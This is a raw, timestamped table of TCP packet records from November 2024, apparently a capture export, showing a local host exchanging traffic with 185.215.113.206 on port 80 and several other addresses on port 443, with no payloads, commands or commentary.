Nov 19, 2024 01:01:45.753720045 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.753724098 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.753737926 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.753748894 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.753813028 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.753828049 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.753838062 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.753848076 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.753858089 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.753868103 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.753869057 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.753879070 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.753889084 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.753889084 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.753899097 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.753910065 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.753920078 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.753921032 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.753931046 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.753956079 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.753964901 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.753974915 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.753984928 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.753994942 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.754005909 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.754014969 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.754015923 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.754029036 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.754029989 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.754039049 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.754050970 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.754060984 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.754070044 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.754077911 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.754081964 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.754093885 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.754126072 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.754126072 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.754134893 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.754151106 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.754162073 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.754163980 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.754173994 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.754184008 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.754189968 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.754194975 CET	49951	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:45.754200935 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.754200935 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.754208088 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.754218102 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.754226923 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.754236937 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.754242897 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.754247904 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.754259109 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.754266977 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.754266977 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.754281044 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.754282951 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.754313946 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.754326105 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.756582022 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.756661892 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.757002115 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.757062912 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.766191006 CET	443	49953	13.249.205.106	192.168.2.6
Nov 19, 2024 01:01:45.766520023 CET	49953	443	192.168.2.6	13.249.205.106
Nov 19, 2024 01:01:45.766532898 CET	443	49953	13.249.205.106	192.168.2.6
Nov 19, 2024 01:01:45.766902924 CET	443	49953	13.249.205.106	192.168.2.6
Nov 19, 2024 01:01:45.767261028 CET	49953	443	192.168.2.6	13.249.205.106
Nov 19, 2024 01:01:45.767354965 CET	443	49953	13.249.205.106	192.168.2.6
Nov 19, 2024 01:01:45.767838955 CET	49953	443	192.168.2.6	13.249.205.106
Nov 19, 2024 01:01:45.811351061 CET	443	49953	13.249.205.106	192.168.2.6
Nov 19, 2024 01:01:45.837784052 CET	443	49951	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:45.837842941 CET	443	49951	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:45.837903023 CET	49951	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:45.837918997 CET	443	49951	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:45.837961912 CET	49951	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:45.837984085 CET	443	49951	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:45.838074923 CET	49951	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:45.840178967 CET	49951	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:45.840188026 CET	443	49951	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:45.841444016 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.841461897 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.841481924 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.841527939 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.841569901 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.841717958 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.841756105 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.841842890 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.841852903 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.841897011 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.841933012 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.841943979 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.841985941 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.881293058 CET	443	49952	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:45.881810904 CET	49952	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:45.881829977 CET	443	49952	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:45.882366896 CET	49952	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:45.882373095 CET	443	49952	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:45.907562017 CET	443	49954	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:45.908714056 CET	49954	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:45.908724070 CET	443	49954	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:45.909303904 CET	49954	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:45.909310102 CET	443	49954	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:45.932034969 CET	443	49955	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:45.932677984 CET	49955	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:45.932701111 CET	443	49955	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:45.933196068 CET	49955	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:45.933199883 CET	443	49955	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:45.942810059 CET	443	49953	13.249.205.106	192.168.2.6
Nov 19, 2024 01:01:45.942949057 CET	443	49953	13.249.205.106	192.168.2.6
Nov 19, 2024 01:01:45.943001986 CET	49953	443	192.168.2.6	13.249.205.106
Nov 19, 2024 01:01:45.946821928 CET	443	49956	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:45.948029041 CET	49956	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:45.948040962 CET	443	49956	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:45.949748039 CET	49956	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:45.949752092 CET	443	49956	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:45.950783968 CET	49953	443	192.168.2.6	13.249.205.106
Nov 19, 2024 01:01:45.950789928 CET	443	49953	13.249.205.106	192.168.2.6
Nov 19, 2024 01:01:45.958897114 CET	443	49957	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:45.961838961 CET	49957	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:45.961869955 CET	443	49957	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:45.962429047 CET	49957	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:45.962438107 CET	443	49957	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:45.993328094 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.993339062 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.993350029 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.993410110 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.993408918 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.993422031 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.993432999 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.993442059 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.993454933 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.993468046 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.993477106 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.993477106 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.993505001 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.993522882 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.993529081 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.993540049 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.993549109 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.993572950 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.993580103 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.993592024 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.993592024 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.993607044 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.993617058 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.993623972 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.993637085 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.993664980 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.993833065 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.993844032 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.993853092 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.993863106 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.993872881 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.993875027 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.993881941 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.993894100 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.993904114 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.993911982 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.993915081 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.993927002 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.993935108 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.993961096 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.993971109 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.993978024 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.993989944 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.993999004 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.994010925 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.994014025 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.994021893 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.994033098 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.994044065 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.994072914 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.994076014 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.994088888 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.994097948 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.994110107 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.994116068 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.994121075 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.994132042 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.994139910 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.994143009 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.994153023 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.994158983 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.994168997 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.994189978 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.994213104 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.994223118 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.994252920 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.994276047 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.994287968 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.994297028 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.994307995 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.994308949 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.994318008 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.994340897 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.994364977 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.020256042 CET	443	49952	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.020823956 CET	443	49952	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.020895004 CET	49952	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:46.021554947 CET	49952	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:46.021574020 CET	443	49952	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.024961948 CET	49967	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:46.024995089 CET	443	49967	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.025131941 CET	49967	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:46.025311947 CET	49967	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:46.025322914 CET	443	49967	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.027086973 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.027100086 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.027110100 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.027148008 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.027185917 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.046226025 CET	443	49954	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.046294928 CET	443	49954	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.046681881 CET	49954	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:46.046700001 CET	49954	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:46.046706915 CET	443	49954	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.046750069 CET	49954	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:46.046756029 CET	443	49954	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.049573898 CET	49968	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:46.049603939 CET	443	49968	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.049827099 CET	49968	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:46.050466061 CET	49968	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:46.050487995 CET	443	49968	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.062455893 CET	443	49959	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.062711954 CET	49959	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:46.062721014 CET	443	49959	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.063846111 CET	443	49959	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.064193010 CET	49959	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:46.064359903 CET	443	49959	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.064378023 CET	49959	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:46.076738119 CET	443	49955	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.076819897 CET	443	49955	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.076989889 CET	49955	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:46.077009916 CET	49955	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:46.077018976 CET	443	49955	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.077027082 CET	49955	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:46.077030897 CET	443	49955	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.080490112 CET	49969	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:46.080519915 CET	443	49969	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.080670118 CET	49969	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:46.080802917 CET	49969	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:46.080813885 CET	443	49969	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.083133936 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.083221912 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.083223104 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.083233118 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.083245039 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.083256006 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.083266020 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.083271027 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.083281994 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.083283901 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.083323002 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.083359003 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.083370924 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.083383083 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.083393097 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.083401918 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.083406925 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.083412886 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.083426952 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.083430052 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.083441973 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.083445072 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.083452940 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.083467007 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.083473921 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.083479881 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.083492041 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.083499908 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.083506107 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.083518028 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.083527088 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.083529949 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.083543062 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.083545923 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.083564043 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.083605051 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.088298082 CET	443	49956	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.088377953 CET	443	49956	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.088432074 CET	49956	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:46.088526964 CET	49956	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:46.088541985 CET	443	49956	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.088547945 CET	49956	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:46.088551998 CET	443	49956	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.091377974 CET	49970	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:46.091415882 CET	443	49970	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.091514111 CET	49970	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:46.091902018 CET	49970	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:46.091917038 CET	443	49970	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.111342907 CET	443	49959	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.115993977 CET	443	49957	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.116048098 CET	443	49957	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.116120100 CET	49957	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:46.116307020 CET	49957	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:46.116328001 CET	443	49957	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.116343975 CET	49957	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:46.116349936 CET	443	49957	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.119622946 CET	49971	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:46.119630098 CET	443	49971	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.119689941 CET	49971	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:46.119955063 CET	49971	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:46.119962931 CET	443	49971	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.133086920 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.138791084 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.160028934 CET	49959	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:46.200103045 CET	443	49959	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.200154066 CET	443	49959	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.200290918 CET	443	49959	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.200299025 CET	49959	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:46.200341940 CET	49959	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:46.201268911 CET	49959	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:46.201277018 CET	443	49959	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.201716900 CET	49972	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:46.201750040 CET	443	49972	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.202030897 CET	49972	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:46.204159975 CET	49972	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:46.204174042 CET	443	49972	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.314285994 CET	443	49960	20.75.60.91	192.168.2.6
Nov 19, 2024 01:01:46.314548016 CET	49960	443	192.168.2.6	20.75.60.91
Nov 19, 2024 01:01:46.314557076 CET	443	49960	20.75.60.91	192.168.2.6
Nov 19, 2024 01:01:46.314855099 CET	443	49960	20.75.60.91	192.168.2.6
Nov 19, 2024 01:01:46.315167904 CET	49960	443	192.168.2.6	20.75.60.91
Nov 19, 2024 01:01:46.315222979 CET	443	49960	20.75.60.91	192.168.2.6
Nov 19, 2024 01:01:46.315388918 CET	49960	443	192.168.2.6	20.75.60.91
Nov 19, 2024 01:01:46.359328032 CET	443	49960	20.75.60.91	192.168.2.6
Nov 19, 2024 01:01:46.381095886 CET	49973	443	192.168.2.6	20.125.209.212
Nov 19, 2024 01:01:46.381119967 CET	443	49973	20.125.209.212	192.168.2.6
Nov 19, 2024 01:01:46.381254911 CET	49973	443	192.168.2.6	20.125.209.212
Nov 19, 2024 01:01:46.381452084 CET	49973	443	192.168.2.6	20.125.209.212
Nov 19, 2024 01:01:46.381464005 CET	443	49973	20.125.209.212	192.168.2.6
Nov 19, 2024 01:01:46.383083105 CET	443	49963	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.383282900 CET	49963	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:46.383291960 CET	443	49963	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.384177923 CET	443	49963	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.384237051 CET	49963	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:46.384612083 CET	49963	443	192.168.2.6	13.107.246.57
